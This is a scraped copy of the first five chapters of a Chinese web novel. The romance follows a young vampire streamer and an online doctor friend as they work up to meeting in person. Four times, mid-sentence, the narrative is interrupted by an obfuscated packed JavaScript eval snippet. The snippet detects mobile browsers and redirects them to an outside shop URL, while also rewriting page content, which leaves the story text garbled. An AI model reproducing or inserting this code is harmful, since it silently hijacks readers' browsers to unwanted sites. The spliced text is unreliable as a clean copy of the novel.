《小吸血鬼只能网恋吗》 1. 第 1 章 【我们见一面吧。】 【好啊！】（取消发送） 【抱歉，可能暂时不行。】（取消发送） 【我觉得还是不见面比较好。】（取消发送） 窗帘紧闭的昏暗房间里，只有窄小的手机散发微弱的光亮，照映着一个满脸纠结的漂亮少年，对着对话框删删减减。 少年精致却苍白，一双血红色的眸子再钝圆可爱，也挡不住那股非人类的危险气息，开口长长地叹一口气，露出的不仅仅是小酒窝，还有尖尖的獠牙。 “啊啊啊啊啊啊，我到底该怎么回复他啊。” 温西抓着手机在床上直打滚，把床边的抱枕玩偶都踹下去了好几个。 “19个小时了，你还没有回复人家呢？” 手机另一边传来好友震惊的声音，用着不太熟练的中文交流。 “对啊，所以我这不是打算问问你的建议嘛。” 少年听见好友接通电话的提示音，一下就坐到了电脑桌面前，严肃得仿佛在召开什么会议。 “你不想见面就拒绝了呗，网恋而已。” “那要是南云舟伤心了怎么……”温西下意识地小声嘟囔，说到一半才发现不对劲。 “不对。” 温西一字一顿地用力解释，“才不是网恋！我和南云舟没有在一起，我们只是……只是关系很好很好的，好朋友！” “骗人，不是网恋见面干什么？你肯定喜欢他。” 好友的发言简直一针见血，随后也像是突然想起了什么，发出尖锐爆鸣，中文都顾不上了，一口地道法语说得又快又急。 “你不会就是为了他回国的吧？！” “你抛弃了这里的血族同伴，转卖掉了古堡去住那么小的房子，还得自己赚钱生活，就是为了一个网恋对象？你不怕他是一个骗子吗？ ” “不是！网恋！对象！” 小吸血鬼再一次强调，耳尖有些莫名发烫。 他才不会随随便便网恋，他对恋爱是很认真的，要确定关系就会面对面认认真真告白，南云舟肯定也是这样的人。 “我都回来一年了，认识南云舟才半年多，所以我绝对不是因为他来这里的，你们不要瞎担心嘛。这里本来就是我家，我的老爸老妈只是去环游世界去了。” “至于南云舟就更不是骗子了。” 少年一提起对方，双眼就亮了起来，漂亮得像颗红宝石，熠熠生辉。 “南云舟是个医生，在一家很厉害的医院里工作，信息官网可查，他还给我看过他的工作证。” “他偶尔还要去大学当老师，给同学们上课，学生评分可高了，是一个很好很温柔的人类！” 听完温西的话，大洋彼岸的好友一下就陷入了沉默。她忍不住地想，这虽然没谈上，但跟谈了又有什么区别？ “那你要冒着这么大的风险去和他见面吗？” 温西愣了一下，眼尾就耷拉下来了，缓缓地摇头。 “我不知道……” 他和南云舟是网络上认识的，回国之后他发现这里的非人类都要遵循保密的原则，想了想自己过于明显的特征，直接当起了家里蹲小主播。 和大家聊聊天，打打游戏，就算是三天打鱼两天晒网，在政府的非人类补贴下，也完全能够生活。 但前提是，他没有惹出什么岔子。 初来乍到的小吸血鬼隐藏不好自己的身份，吓晕了四五个人类，已经被政府狠狠警告过了。 在网络上隐藏身份很容易，但线下就不一定了。要是他不小心把南云舟吓晕，不仅这段关系就此两断，就连他自己也要被遣送回国外，终身不能入境。 这也是他完全不敢答应见面的原因。 见温西根本不正面回答，小伙伴那边突然传来重重拍桌子的声音，恨铁不成钢地大声道，“你看着我的眼睛，坚定地回答我！你不会答应的，对吧！” “……我看不到你的眼睛，这不是视频通话。” 小吸血鬼小声提醒道。 “不要扯开话题！yes or no，回答我！” “yes yes yes。” 温西心虚地关掉了正在浏览地导航软件，里面全是同一个地点的搜索记录。 收藏的路线距离只有20km，终点是某家医院，乘坐地铁需要56分钟，四号线转六号线，自驾需要37分钟，打车44分钟，22元。 “你放心啦，我们保持现状挺好的，一起打打游戏也很开心。” 好友听见温西不自觉低落起来的声音，也只能拍拍聊天的头像以示安慰，“那你打算怎么回复？” 温西看着两人的聊天记录，犹豫了片刻后，指尖屏幕快速敲击，一鼓作气地发送了过去。 “要是南云舟知道我没有那么好，肯定就不会想要见面了。” 【我没有工作，平时大门不出二门不迈，身体孱弱脸色苍白，房间常年黑暗阴森，作息昼夜颠倒，从来不和人类打交道，全靠科技与狠活的外卖生活，就算是这样，你也想和我见面吗？】 温西发了长长一段话故意歪曲抹黑自己，虽然没过两秒就有些后悔地想要撤回。 【嗯，想见你。】 南云舟没有给温西太多胡思乱想的机会，几乎是下一秒就发来了回复，就好像一直在聊天界面等待着温西的消息。 【我想要见你，是想要更加了解你。】 【想了解你的生活习惯，你的样貌，即便你这样说，我还是很想和你见面。】 说着，温西的对话框里突然弹出了一条视频，只有十几秒，像随手拍的什么。 温西点开，视频里灯光明亮，画面正中心是正在烹饪的家常菜，同步传来了一道低沉温柔，还带着些许笑意的声音。 “我接下来的一周都没有安排手术，可以早些下班，周末的上午只有一节课，周一是我的假期，暂时也没有计划。” 在视频的最后，镜头一下就反转了过来，画面从出锅的菜肴变成了一个身形修长，五官深邃的熟悉的面孔，嘴角微勾，对着镜头说出了一句。 “随时欢迎。” 温西盯着黑下来的手机有些愣神，随后伸出手拖动进度条—— 再看一遍！ 他和南云舟还没有交换过照片，那太刻意太奇怪了。不过温西倒是知道南云舟长什么样子，毕竟在官网上都有统一的三寸免冠照片。 之前的工作牌上也有照片，不过这还是他第一次见到穿着常服的南云舟。 工作牌上的南云舟穿着工作服，总有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375278|200068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种公事公办的疏离气息，眼底没有多余的情绪，不带一丝温度，而刚刚一闪而过的南云舟穿着深色居家服，看起来很是亲近。 是不一样的南云舟。 温西刚刚建立起的心防瞬间就被瓦解，直到耳边再次传来小伙伴呼唤的声音。 “我去，好手段，这也太会勾引人了，温西你可千万要把持住啊！” “想想被你吓晕的那几个人类，想想网络上的情谊多脆弱，想想你是多么坚决抛下我们要回国。” “你总不能见色忘友如此双标啊！” “我也没有想到他会发视频给我。”小吸血鬼有些无措，盯着对话框发呆也不知道回什么好。 他完全没有想到会是这样的发展。 南云舟对他这样的好，这样的热情，可他却完全没有办法回馈同样的真诚。 一点点内疚的情绪逐渐在指尖弥漫。 “醒醒，这都是人类的手段，这是在钓你，钓你知道吧！” 小伙伴耳提面命，就差没从大洋彼岸飞过来抢走手机代为拒绝了。 “好了好了我知道啦，我不会和南云舟见面的。”小吸血鬼的理智回归，疯狂点头附和，“不过我要准备直播了，就先挂啦！拜拜拜拜。” 温西说完，还没有等对面再开口，就火速挂断，惹得对方又发了一堆消息轰炸。 在一大堆未读消息中，温西的视线仍忍不住停留在南云舟的聊天框中。 即便十分艰难，但还是敲打下了拒绝的话语，然后点击发送。 【抱歉，我接下来的一周可能没有空。】 发出去，就一切尘埃落定了。 【好。】 南云舟没有过多的追问和纠缠，但温西偏偏就能从这一个字里感知到对方有多么落寞。 【是我唐突了。】 【我只是觉得网络上的连接过于脆弱和单薄……如果你哪天有机会来这边的话，可以尝尝这家餐厅，味道很不错，想推荐给你很久了。】 【大学城那边也有好几家咖啡厅，可以去坐坐，去过同一个地方也算是不同时间空间的见面了。】 看着这些话，温西悬在屏幕上方的指尖微颤，随后熄了屏就在自己的房间里翻箱倒柜。 “找到了，黑色瞳片。” 然后是光线。 温西拉开了紧闭的窗帘，现在是晚饭的时间段，虽然太阳还没有完全下山，但对吸血鬼已经造成不了太大的威胁。 接着是隐藏獠牙…… …… 南云舟看着被拒绝的邀约，虽然心中早有意料，但看着对方再没有回复消息，还是难免有些失落。 “应该是在直播了。” 南云舟走进书房打开电脑，熟练地点进一个直播平台，手机却在此时响起了特殊提示音。 唯一的置顶给他发来了一张照片。 点开后，是一张自拍照。 照片上的少年气质青涩，蜷坐在电竞椅里，下半张脸埋在了怀里的毛绒玩偶中，背后的落地窗照进来一小片余晖，染得整个房间都变成了金色。 只露出了一双眼睛，那这双眼睛足以吸引所有视线。 与那张照片同时发过来的，还有一句话。 【那这样也算是见过面了吧。】 2. 第 2 章 按照南云舟一贯的社交礼节，在看见照片之后，会先进行真诚的夸赞，再回答伴随照片而来的那句疑问，以获得最大的好感。 可不知为何，指尖下意识长按，保存，做了最失礼的行为。 南云舟正准备打字道歉的时候，对面又连连发来了好几条消息。 【我要开播了，先不聊啦！】 【有空的话来直播间一起打游戏呀。】 【小猫挥手.jpg】 看着匆匆结束，逃离意味明显的对话框，南云舟眼睫轻垂，思索了片刻，还是跟着进入了直播间。 直播间刚开就已经很热闹了，还有弹幕在询问温西关于自己的动向，接着便传来一句语气略带低落的“我不知道”。 不过下一秒温西就发现了自己进入了直播间，立马就振奋了起来，“哎，阿南来啦？” 语气带着些诧异，但更多的是惊喜和开心，像是眼睛亮晶晶的小狗，和刚刚那张照片一样。 真的很想亲眼看看…… 【嗯？不能来吗。】 南云舟也发了一条弹幕，故意询问道。 “没有没有！欢迎，超级欢迎！” 少年清脆透亮的声音从直播间传来，像是觉得过于官方的言语表达还不够，又私下连发了好几条消息。 【我刚刚还以为你生气了，都做好你今天不来直播间的准备了。】 【你没有生气就好OvO】 南云舟看见这两句话，眉梢微挑，一下就明白少年之前的回避是因为什么了。 “滴滴滴。” 手机传来了三声提示音，温西低头打开手机一看，发现南云舟回复了几条语音，下意识便点开了。 “没有生气，不会生气，拒绝也是你的权利。” 南云舟的声音还是那样不急不缓，低沉而从容，带着足以让所有人安心的魔力。 接着，下一条语音里还传来了声轻笑，由于那声轻笑过于好听，温西还重复播放了两次。 “刚刚是你跑太快了，我都还没来得及问。” “介意我保存这张照片吗？” ……保存那张照片？ 温西一下就回过了神，赶紧回过头去看看那张自己随手拍的照片有没有不妥当地方，结果发现哪哪都是问题。 头发是刚睡醒乱糟糟的，穿的也还是睡衣，背后的房间也完全没有收拾，地上全是玩偶…… 完全不能细看的照片。 一只小吸血鬼绝望地闭起双眼。 他刚想打字让南云舟还是不要保存这张“丑照”了，就猛地又看见了南云舟的文字消息。 他说。 西西你麦克风没关。 …… 看着弹幕又在疯狂放烟花，到处都是粉色的“啊啊啊啊磕到了”时，一只小吸血鬼再次绝望地闭起了双眼。 【直播间已关闭。】 【直播间已开启。】 一阵沉默之中，温西在解释和澄清之间，选择了下线遁，等到再开播时，所有的弹幕就全变成了问号。 “啊？什么？我不知道啊，我刚刚网线被拔了，对，我也不知道是谁干的。” 小主播的话语中满是欲盖弥彰，但偏偏语气显得无辜极了，好像真的什么都没有发生一般，试图将这场直播意外萌混过关。 可水友们不是那么好糊弄的，一边说他们也要看照片，一边纷纷在猜测温西到底拒绝了什么。 眼见弹幕越猜越离谱，就连大洋彼岸的好友也跑来询问他到底给南云舟发了什么照片，小吸血鬼没辙，只好实话实说。 不过仔细想想好像也不是什么大不了的事情。 温西抿了抿了唇，坦白道：“你们不要瞎猜啦，只是我和阿南同城，他说要请我吃饭，只是我没有时间，就拒绝了。” 【什么？！吃饭这么重大的事情居然不喊上我们一起？吃独食是吧！】 接着大家纷纷开始起哄，想要南云舟请所有人一起吃饭，还有人因为座位安排隔空打起来了。 看着大家口嗨宛如吃席的场景，小吸血鬼真是害怕极了。 他只喝血，哪敢和大家一桌吃饭啊！！而且不是纯种血族的缘故，他喝多了还会醉血—— 光是想到那个画面，温西觉得自己被遣返国外都不够了，大概还要把他重新装进棺材里，再沉淀个几百年QAQ “好啦，别吵啦，大家对别人饭不要太有占有欲！” 温西开着玩笑，悄悄地对拒绝南云舟的理由做着补充，“其实我很挑食，大家不会喜欢和我吃饭的。” 【嗯，其实我也挑食。】 【每个人都有自己不爱吃的食物，很正常。】 南云舟带着礼物特效的弹幕飘过，让温西一眼就能看见，但还没有等他回话，手机就又响了一声。 来自南云舟的私聊消息。 他说，我也想尝尝你喜欢的食物。 温西看着那条消息过了好久好久，下了播都还没有回复。 直到午夜十二点，一张照片再次发了过去。 似乎是在一家凌晨还在营业的小吃店，灯光昏暗，但桌上的那碗毛血旺卖相很不错。 【如果我喜欢的是这种食物呢？】 温西将照片发了过去，就开始品尝着这经过层层加工的血制品。 “口感怎么样？” 店老板期待地看着温西。 小吸血鬼尝好几块，双眼一亮，给出最中肯的评价，“好吃！比之前好很多了，虽然没有血包香，但是胜在味道丰富！” “嗐，那是当然。血制品是血制品，血包是血包，新鲜血液是新鲜血液……” 那店老板说着，也露出了尖尖的獠牙，“行吧，我再研究看看，我可不想一道菜吃一千年，你要的血包我待会给你装起来，还是一个星期的量。” “谢谢老板。” 【看起来很棒。】 南云舟还没有睡，第一时间就回复了消息。 【出去吃夜宵了？】 “对啊。” 温西一边吃东西，一边尝试语音转文字，结果第一句话刚发出去，南云舟就打了个语音电话过来。 小吸血鬼吓了一跳，环顾四周确认没有其他人后，才按下了接通。 “怎么啦？” 温西小声询问。 “没什么事，不用管我。”南云舟的语气带笑，“就是担心你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375279|200068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃东西不方便打字。” “没问题啦，我是语音转文字哦。” 温西可骄傲了，“就算我在国外待了那么久，我的语言系统还是很好用的。” “好棒。” 南云舟的语气和简直哄小孩一模一样，“除了这个，还吃了其他东西吗。” “有哦，还有椰子汁！” 这是温西最喜欢的小糖水了，椰汁和血浆的成分有六成的相似，是血族为数不多能消化的东西。 毛血旺椰汁套餐，这家店老板简直是天才！！！ 温西满足地拍了拍肚子，忍不住感慨就算是血族，回国之后都能吃上好的。 店老板一出来就看见温西在和人打电话，一边将血包递过去，还一边挤眉弄眼，用口型八卦地问道，“男朋友啊？” “没、就是朋友啊，普通朋友。” 小吸血鬼害怕暴露，火速挂断了电话。 “得了吧，什么朋友大半夜十二点跟你打电话？”店老板一副过来人的模样，笑着道，“是普通人类吧？要是想约会，可以带来我店里哦，我给你打八折。” “带来这里？” 温西呆愣了一下，不太理解。 “对啊。” “我这里有人类和血族都能吃的菜品，研究了我好久，而且这里不是自己地盘，也不用担心身份暴露。” 店老板看着面前刚刚还说是普通朋友，现在满眼期待的小血族，一下就乐了，详细解释道。 “以前我泡人类的时候，就是下午把人约出来看个电影，大不了迟到一会，等太阳下山了就可以到处逛逛了，最后带到店里吃个饭，基本上没有暴露的风险。” “而且我还有各种伪装教程哦，下单就送，怎么样，心动不如行动。” 听着这些“过来人”的经验，温西确实狠狠心动了一下，思路一下子就打开了。 对啊，他和南云舟见面，不一定是他去找南云舟，也可以让南云舟来找他玩嘛。 他这一路上危险重重，但南云舟不挺安全的吗？ “嗯……那我考虑考虑吧。” 温西捂住了心口，狠狠镇压了那种心动，维持着自己所剩无几的理智。 他和店老板情况不太一样。 这个店老板是一个很厉害的人，是个富一代，简称奸商，拥有永久居住证，就算不小心暴露身份也只是缴纳罚款而已。 但温西并不具备这种资质。 像他们这样的外来非人类种族，想要拿到某个国家的永久居住权，要么是能力强大到上交国家，要么是有一技之长，总结来说就是得刷社会贡献值。 温西只是一只只有四分之一血统的小吸血鬼，不具有战斗力，原本在国外待得好好的，有分配的古堡，享受贵族的服务，可他偏偏要回国。 “不说那些了，今天总共多少钱？” 温西准备结账走人。 “总共一万六千八百三十二，给你抹个零，一万六千八，转账还是刷卡。” 听着金钱哗啦一声就消失了，小吸血鬼心痛不已。 最最最重要的是—— 这家店着实坑得很！他简直不敢想象那套服务会有多贵！！！ 3. 第 3 章 温西付了钱回家，第一件事就是将血包放入特制的冰箱中保存。 毕竟这些东西可贵了，要是因为保存不当坏掉了的话，他就要吃一个星期的动物血制品了，那无异于人类吃上一个星期的泡面！！ 【到家了吗？】 温西刚放好东西，南云舟的消息就发了过来，精准得像是掐了表。 【到家啦。】 【好，早些休息，晚安。】 看着“晚安”这个两个字，昼伏夜出的小吸血鬼又心虚了一下，不过很快又理直气壮起来。 【好哦，我会的^-^】 温西认认真真地回复。 虽然和南云舟说的时间点不太一样，但概念是一样的！他会在太阳升起来之前睡着，绝不熬日！ 互道晚安后，南云舟那边就安静了下来，虽然温西还想和南云舟说说话，但现在已经凌晨了，正是人类的休息时间。 小吸血鬼呆呆地看着南云舟的对话框，又想到了今天店老板说的话，打开了自己的余额看了看。 卡里的余额不算多，去除这个月的口粮钱，只剩下一小笔，原本是打算多攒几个月重新买口棺材床的。 ……看起来完全不够呢。 温西叹了一口气，上一次感觉自己穷穷的，还是在刚刚回国的时候。 那时候直播间热度不高，一个星期总有那么两三天赚不到口粮钱，是南云舟帮了他，所以从人类的礼节来说，他早该请南云舟吃一顿饭了！ “你周一有安排了吗？” 不对，不能这样发。 “你周一的假期可以留出来吗？” 还是不行。 温西又将聊天框中打好的文字删掉。 之前南云舟说他周一有假期，但他完全不确定自己是否能在周一之前能赚到那一顿饭的钱，要是他提前约了人家结果最后爽约了，那就更罪过了！！！ 算了，这大概就是时机未到吧。 小吸血鬼有些沮丧地关上了手机，正准备去做别的事情，手机突然就震动了一下，屏幕自动亮起。 【怎么了？睡不着？】 温西愣了一下，连忙点进去，看见南云舟的对话框亮起的小红点升起一种朦胧的不真实感。 【你怎么知道。】 他顺着南云舟的话说。 【大概是心有灵犀。】 【心有灵犀？】 小吸血鬼还没有反应过来，南云舟的电话就先一步打过来了，在接听的一瞬间，温西就听见对面又在笑。 “骗你的，其实我也睡不着，正好看见对话框一直在输入中。” “我还在等你的消息，结果正在输入中就消失了。” “不跟我聊，是要去跟别人聊天了吗，西西。” 心跳好像漏了一拍。 温西听着南云舟那边的声音，耳朵根有些发麻，或许是夜深了，四下一片安静，显得电话那头无论是呼吸还是衣服摩擦的声音都格外清晰。 “没有要去和别人聊天。” 温西干巴巴的开口解释，“……我只是怕打扰你，我以为你已经睡了。” “好。” 南云舟一副“你说什么我都信”的模样。 “那刚刚想跟我说什么？” “我……”小吸血鬼抿了抿唇，打字都说不出口的邀约，现在实时通话更是说不出了。 “其实也没什么……就是想和你聊天。” 南云舟轻轻“嗯”了一声，语气很温柔，却是直白地戳破少年的隐瞒，“没关系，西西想告诉我了再说。” “现在你该睡觉了，想跟我聊天电话就别挂了，我说，你听着，看看能不能睡着。” “哦，好吧。” 撒了一个谎就要用无数个谎来圆，现在分明不是吸血鬼的休息时间，但温西只能配合地躺下，尽可能放缓自己的呼吸，假装自己睡着。 “对了，下午给你寄了些小礼物。” “礼物吗？” 温西双眼一下就亮了，一咕噜就爬了起来，捧起手机就准备查看快递信息。 “躺下。” 隔着20km的距离，南云舟也像是在他身边长了眼睛一样，对温西的一举一动都了如指掌。 温西签约的直播平台十分人性化，对于特殊主播有扶持待遇，有保底不说，所有的打赏都是28分成，而且平台还可以代收粉丝礼物，再从平台快递给主播，从而保护双方的隐私。 “是什么礼物呀！” “明天你就知道了。” “好吧。” 话题到这就结束了，可安静了还没两分钟，声音听起来还很精神的少年就又开口了：“可是我现在就想知道。” 电话那头传来了一声叹息，“是原本准备给下周见面的礼物。” “见面？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375280|200068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到这个词，小吸血鬼原本闭上了的眼睛一下又睁开了，嘴比脑子快，直言道，“要不然你还是不要寄给我了吧。” 那边愣了一下，语气有些失落地试探性开口，“西西不喜欢？” “不是呀。” 少年的声音带着雀跃，像是要从床上蹦起来一样，“因为我又可以和你见面了！” 巨大的惊喜从天而降，砸得南云舟都有些发怔，“什么叫又可以了？” “这个……就是又可以了嘛……你之前帮了我好多，我打算请你吃饭来着。”温西含含糊糊的都已经说了个大半，也就不藏着掖着了，一股脑全都倒了出来，主打一个真诚。 “不过我打算请你的那家餐厅有点小贵，下周一可能是赶不上啦，我想这个月努努力，下个月再问你有没有时间的。” “而且这家餐厅离我家近一些，你得过来这边玩啦。” “好。”南云舟消化完这些信息，几乎没怎么犹豫就同意了，他笑了笑，说道，“我的时间永远对西西有空。” “不过也不需要订那么贵的餐厅，我很好养的，吃什么都行。” “那不行，必须要这家餐厅！不是这家餐厅不行的。” 少年对南云舟在想什么也了如指掌，嘟嘟囔囔地开口，“而且我要自己赚这个钱，你不要特意在直播间给我刷礼物知道了吗！” “你要是特意刷礼物，我就不请你吃饭了。” “好。” …… 把心事说开，温西整个人就放松了下来，听着南云舟逐渐平稳的呼吸声，在太阳快要升起来的时候，也睡着了。 温西第二天起来一看通话时长，六小时四十三分钟五十二秒，挂了一个晚上，临近上班时间才断开的。 由于他昨天睡得有点早，下午三点就自然醒了，虽然外面还是大太阳，但他的房间有三层窗帘，将阳光挡了个严严实实。 “好！我要开始搬砖了！” 小吸血鬼给南云舟发了条消息，难得找下午就开播了，还十分认真地制造节目效果，积极营业，惹得群里的水友们都纳闷极了。 【这也不是月末啊，怎么就开始补时长了？】 【主播又没钱吃饭了吗？】 温西看着熟悉的老账号，一下就露出了自己的酒窝，“不是没钱吃饭，是想多赚一个人的饭钱。” “下个月我要和阿南见面，请他吃大餐！” 4. 第 4 章 “什么情况？我就两天没上线，你和南云舟就约好见面了？” 好友在电话那大洋彼岸发出尖锐爆鸣。 “你放心，很安全的啦。” 这件事温西自知理亏，仔仔细细将自己的计划说了一遍，给好友顺着毛，试图让好友放心。 好友听完，重重叹了一口气，知道自己已经无法阻止这件板上钉钉的事了。 “既然你都决定好了，就去约会吧，儿大不中留，如果遇到问题记得第一时间告诉我。” 听着好友的语气，小吸血鬼两眼一亮，语气欣喜地问道，“这么远也可以解决吗？” 好友：“那不是。” “我等着去机场接你，够仁义吧。” 温西：…… “薇薇安！你能不能盼着点我好！”小吸血鬼暴怒，冲着镜头张牙舞爪的，反被截了好多表情包。 “得了，找我什么事。” “一件超级重要的事情！！！” 说起正事，温西一下就收起了自己的獠牙，将镜头对准了自己的衣柜，语气严肃，“我刚刚突然发现，我没有适合见面穿的衣服。” 自从温西当上了家里蹲小主播，他都没有购买过除了睡衣以外的衣服，唯几能穿的还是从国外打包带过来的。 “你平时完全不出门的吗？” 薇薇安看着温西的衣柜啧啧称奇，“说真的，当初你怎么就想不开去游戏区当主播呢？去颜值区多好，暴殄天物。” “可那不就暴露身份了吗？” 小吸血鬼满脸不解。 “算了，和你这种老实孩子说不清，既然你开口求我了，那就去把最左边那件上衣，还有那件拿出来，我记得你这一套效果还可以。” 小吸血鬼按照指挥将衣服翻了出来，一下就呆愣住了，有些磕巴地解释，“我、我只是和南云舟吃个饭，没必要穿这么隆重吧。” “这是我参加外祖父八百大寿的礼服！！” 这件礼服是酒红色的复古款，带着西欧宫廷样式的白色内搭，装饰很多，穿上之后几乎是一眼就能看出血族的身份。 甚至当时温西还是作为莫尔维尔家族继承人的身份出场的，这衣服自然不马虎。 可薇薇安自有她的道理，“你不是去奔现吗？要是不穿得好看一点，被甩了怎么办？网上管这个叫见光死。” 温西：可是我们血族本来就是见光死！！！ 不过调笑归调笑，薇薇安还是帮温西搭好了好几套衣服，将温西的优点完全展现了出来，配件上也有不少小巧思，一下从完全没有选择，变成了选择的余地太多。 “这三套都可以，如果你还纠结的话，就拍照发给某人看，让他帮你挑，本小姐要去出门觅食了。” 薇薇安说完，就挂断了视频，温西连一句挽留都没来得及说出口。 ……明明知道他有选择困难症的！小吸血鬼沉默地在床前站了许久，最后拿起了手机。 [图片] 【这三件衣服你觉得哪个更好？】 南云舟洗完澡出来就看见了温西发来的消息，打开图片，里面是平铺在床上的三套衣服，每一套都是不同的风格。 他想象了一下，每套都很适合温西，就像是量身定制的一样。 【都很好，很适合你，可以都留着。】 【不是啦，我是在挑见面那天要穿的衣服。】 温西想了想，决定将这个难以抉择的难题交给对方。 【你喜欢哪一套？】 哪一套？其实都很好看，属于那种在大街上能引起百分之百回头的穿搭，想到那种场景，他倒是希望少年穿得低调一些。 不过…… 南云舟看着那张大照片，眼见地发现在照片的角落，还堆放了一件格外引人注目的酒红色礼服。 他将照片上的那件礼服圈了出来，询问道。 【这件不在备选方案里吗？】 “不在哦。” 温西一边收拾翻乱的衣柜，一边发语音条解释，“那是我在国外参加……宴会的礼服，有点过于隆重了，就穿过一次，平时都压箱底的。” “而且风格偏西式复古，我感觉国内能穿的场合就只有漫展了。” “这样吗？好可惜。” 南云舟的语气里满是遗憾，“我倒是挺想看你穿这件礼服的。” 这句语音条发过去后，茶艺小连招最后一句“西西能穿一次给我看吗”都还没有说完，温西就发来了一张相片，黑白色调，看起来像是老式照相机拍的。 【这是宴会当天拍的，我还有好多。】 还好他外公聪明，喜欢用黑白或者是淡彩色相片记录，给温西留下了不少的童年影像，毕竟那个时候可没有美瞳这种东西。 因为那些“老照片”就算有人发现了异常也只会觉得是照相设备的问题，怎么会联想到那是来自吸血鬼的红眼睛，尖獠牙呢？ [图片] “这是我和薇薇安，她是我最要好的朋友。” [图片] “这张是我的成年礼照片！在我成年礼之后，我才被允许离开古……离开老宅，之前都可憋屈了，他们哪也不准我去。” 小吸血鬼兴高采烈地分享着自己的过去。 南云舟看着那些照片，第一眼就被穿着华丽礼服的温西惊艳到了。 复古的装束像是从书里面走出来的小王子，黑白灰色调显得格外有距离感，像是带着时间的厚重和疏离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375281|200068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他再次按下了保存键，不过这次多了一个步骤——将旁边的薇薇安剪裁出去。 好一会后，南云舟才控制着自己的视线从温西身上移开，仔细看起了这些照片的其他细节。 这应该是一台老式留影，拍摄的手法也很复古，照片里面的背景家具更是上个世纪的老古董。 和小王子般的温西很配。 不过一般的房子即便是复古风装修，里面摆满的古董，可为了居住的便利总有偏现代的设计，但背景里的房子似乎完全没有。 南云舟心有疑惑，便直接开口询问了。这一问，差点把温西吓得从床上滚下去。 啊？什么古董，他不知道啊？这种杯子镜子坠子他小时候弄坏了好几个，但他外祖父说那都是随手买的小物件，不要紧。 “啊……” 小吸血鬼感觉自己的脑子从来没有转得这么快过，在一百种理由当中，飞快地找出了最合理，最无懈可击的一种。 “这都被你发现啦。” 温西心虚得打字都打错了好几个，最后干脆使用语音输入。 “好吧，其实我是富二代，我是从家里跑出来的，我外公祖上可能还有什么爵位吧，所以家是老宅子，里面也有些老东西。” 【那就很合理了。】 南云舟停顿了一会，接受了这个理由。 小吸血鬼长长地松了一口气。 只能说还好他外祖母追求时尚，每隔一百年就会把古堡按照当时的流行换一次装修，不然这些家具岂止是上个世纪的古董那么简单。 还好问题不大。 “可能也是这个原因，我外公有些古板守旧，不然我也不会从家里跑出来了。” 温西强装镇定地转移话题。 【是吗。】 南云舟之前就知道温西是混血，刚从国外回来，刚成年不久，其他的了解不算多，但也足够了。 【那西西怎么选择了这座城市？】 “因为我小时候就住在这座城市呀，是后来出了点意外才出国去外公家的。” 听到这里，南云舟发消息的指尖微顿。 【是什么时候的事？】 过了一会，他追问道。 温西思考了片刻，像是在往前面倒推计算着时间，最后给出了一个精准的数字，“是八岁。” 南云舟听到这个数字后，又连续发来了几条消息。 【好巧】 【我曾经有个很要好的小伙伴，也是八岁的时候搬了家。】 手机另一头的温西发出了遗憾的声音，“啊？那后来呢？” 【后来再没有联系过我了。】 【大概是有了新的朋友，把我给忘了。】 5. 第 5 章 “那也太坏了吧！” 温西为南云舟愤愤不平，可对方只是发了一条语音笑了笑“我也觉得很坏”，接着便再次转移了话题，就好像只是这样不经意地一提。 【时间不早了，该休息了。】 【好哦！】 小吸血鬼日常下了播就是23点，他一边说着晚安，熟练地骗南云舟去睡觉，一边将自己所有的社交状态调整为下线隐身，然后徜徉熬夜修仙党的世界里。 “今天怎么来了？” 店老板看着三四天前才屯完一周口粮的小血族，语气戏谑，眼神里却一点意外都没有。 温西看着店老板，做足了心理准备，将自己的卡递了过去。 “你之前说的那个套餐，我想要预订一个位置。” 店老板看着眼里全是坚定与决心的小血族，接过那张卡一看余额，乐极了，“宝贝我在你眼里就是这样的奸商吗？再怎么样也不会要你一个月的口粮钱的。” “明账套餐4888，暗账血包两千，合计6888，说好的八折算你五千五，到时候你去这里地址，是我的总店，气派。” 温西看着比自己预计要少很多很多的账单，眼睛一下就亮了起来。 